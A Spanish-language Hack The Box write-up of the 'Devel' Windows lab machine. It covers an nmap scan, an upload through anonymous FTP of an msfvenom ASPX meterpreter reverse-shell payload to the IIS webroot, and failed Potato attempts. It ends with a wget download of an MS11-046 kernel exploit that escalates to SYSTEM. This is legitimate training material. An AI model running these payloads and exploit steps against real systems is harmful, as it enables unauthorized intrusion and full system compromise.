Devel
Hack The Box — Writeup
Devel
| IP: | 10.129.26.35 |
| OS: | Windows |
| Dificultad: | Easy |
| Fecha: | 13 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.35 -oG allPorts
# Output
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
Se identificaron dos puertos abiertos: el puerto 21 (FTP) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos.
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Hallazgo: el escaneo de versiones reveló dos vectores de interés. El puerto 80 corre Microsoft IIS 7.5 con el método HTTP TRACE habilitado. El puerto 21 permite login anónimo (FTP Anonymous), lo que permite acceder al servidor sin credenciales. Además, el propio nmap listó el contenido del directorio FTP, mostrando archivos característicos de una instalación de IIS.
Enumeración
Enumeración del servidor FTP
Se conectó al servidor FTP con el usuario anonymous para explorar su
contenido:
ftp [email protected]
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
ftp> cd aspnet_client
ftp> cd system_web
ftp> ls
03-18-17 02:06AM <DIR> 2_0_50727
ftp> cd 2_0_50727
ftp> ls
226 Transfer complete. (directorio vacio)
Se exploró el directorio aspnet_client hasta system_web/2_0_50727,
que estaba vacío. Al analizar la estructura completa se identificó el
vector de ataque.
Hallazgo: el directorio raíz del FTP correspondía al webroot del
servidor IIS. Los archivos iisstart.htm y welcome.png son los
archivos de la página de bienvenida por defecto de IIS, y el directorio
aspnet_client es exclusivo de instalaciones IIS/ASP.NET.
Hipótesis: si el usuario anónimo del FTP tenía permisos de escritura
sobre este directorio, sería posible subir un archivo .aspx malicioso
y ejecutarlo desde el navegador para obtener RCE.
Explotación
Generación del payload y subida por FTP
Se generó un payload ASPX con msfvenom y se subió al servidor mediante FTP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444 -f aspx -o shell.aspx
[-] No arch selected, selecting arch: x86 from the payload
Payload size: 355 bytes
Final size of aspx file: 2914 bytes
Saved as: shell.aspx
ftp> put shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2954 bytes sent in 0.0001 seconds (27.8265 Mbytes/s)
ftp> ls
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
07-10-26 11:02AM 2954 shell.aspx
03-17-17 05:37PM 184946 welcome.png
Hallazgo: el servidor aceptó la subida del archivo sin errores de permisos, confirmando que el usuario anónimo de FTP tenía acceso de escritura sobre el webroot de IIS.
Obtención de Meterpreter
Se inició el listener en Metasploit y se accedió al payload desde el navegador:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 4444
run
curl http://10.129.26.35/shell.aspx
[*] Sending stage (177734 bytes) to 10.129.26.35
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.26.35:...)
meterpreter > getuid
Server username: IIS APPPOOL\Web
Obtención de la flag de usuario
meterpreter > shell
c:\windows\system32\inetsrv> type C:\Users\babis\Desktop\user.txt
[flag de usuario obtenida]
Escalada de Privilegios
Enumeración de privilegios
c:\windows\system32\inetsrv> whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\windows\system32\inetsrv> echo %PROCESSOR_ARCHITECTURE%
x86
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
Hallazgo: el privilegio SeImpersonatePrivilege estaba habilitado.
Sin embargo, el sistema es Windows 7 x86, lo que impidió usar las
herramientas habituales de escalada:
Intentos fallidos con herramientas Potato
Nota: Se probó JuicyPotato, Churrasco y RoguePotato. Ninguno funcionó por incompatibilidad de arquitectura o de usuario.
Intento 1 — JuicyPotato x64 (incompatible):
C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\shell2.exe -t * -c {CLSID}
This version is not compatible with the version of Windows you're running.
Check whether you need a x86 (32-bit) or x64 (64-bit) version.
Por qué no funcionó: el binario de JuicyPotato disponible era de 64
bits (x64) pero Windows 7 en esta máquina es de 32 bits (x86). No se
encontró un binario x86 disponible públicamente.
Intento 2 — Churrasco (usuario incorrecto):
C:\Windows\Temp\churrasco.exe -d "C:\Windows\Temp\shell2.exe"
/churrasco/--> Current User: Web
/churrasco/--> Process is not running under NETWORK SERVICE account!
/churrasco/--> Couldn't find NETWORK SERVICE token
Por qué no funcionó: Churrasco requiere que el proceso corra como
NETWORK SERVICE, pero el proceso corra como IIS APPPOOL\Web, una
identidad de application pool que Churrasco no soporta.
Intento 3 — RoguePotato x64 (incompatible):
C:\Windows\Temp\rp.exe -r 10.10.15.163 -e "shell2.exe" -l 9999
This version is not compatible with the version of Windows you're running.
Por qué no funcionó: mismo problema que JuicyPotato — binario de 64 bits en un sistema de 32 bits.
Escalada exitosa — MS11-046 (Kernel Exploit)
Ante la imposibilidad de usar herramientas basadas en token
impersonation, se optó por un exploit de kernel. Windows 7 Build
7600 sin parches (Hotfix(s): N/A) es vulnerable a MS11-046
(CVE-2011-1249), una vulnerabilidad en el driver afd.sys que permite
escalada de privilegios local en Windows x86.
wget https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS11-046/ms11-046.exe
Se subió el exploit desde Meterpreter:
meterpreter > upload ms11-046.exe C:\\Windows\\Temp\\ms11-046.exe
[*] Uploaded 110.17 KiB of 110.17 KiB (100.0%)
Se ejecutó el exploit:
c:\windows\system32\inetsrv> C:\Windows\Temp\ms11-046.exe
c:\Windows\System32> whoami
nt authority\system
Resultado: el exploit escaló directamente a NT AUTHORITY\SYSTEM
sin necesidad de credenciales ni configuración adicional.